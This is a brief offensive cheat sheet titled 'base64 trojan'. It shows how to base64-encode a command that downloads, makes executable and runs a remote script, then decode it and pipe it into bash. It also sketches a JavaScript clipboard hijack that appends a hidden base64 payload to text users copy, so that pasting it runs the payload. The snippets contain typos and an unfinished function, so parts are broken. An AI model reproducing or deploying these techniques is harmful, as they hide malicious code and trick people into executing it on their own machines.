base64 trojan

#Hide a payload in base64 
echo 'wget myplayoad.sh; chmod +X ./mypayload.sh; ./mypayload.sh' | base64

#execution:
echo d2dldCBteXBsYXlvYWQuc2g7IGNobW9kICtYIC4vbXlwYXlsb2FkLnNoOyAuL215cGF5bG9hZC5zaAo= | base64 -d | /bin/bash

#javascript clipboard hijack, then force execution on paste.
#javascript example:

document.oncopy = hijackClipboard;

function hijackClipbaord()
{
  var userSelection = window.getSelection();
  userSelection += "my base64 payload";
  ...
}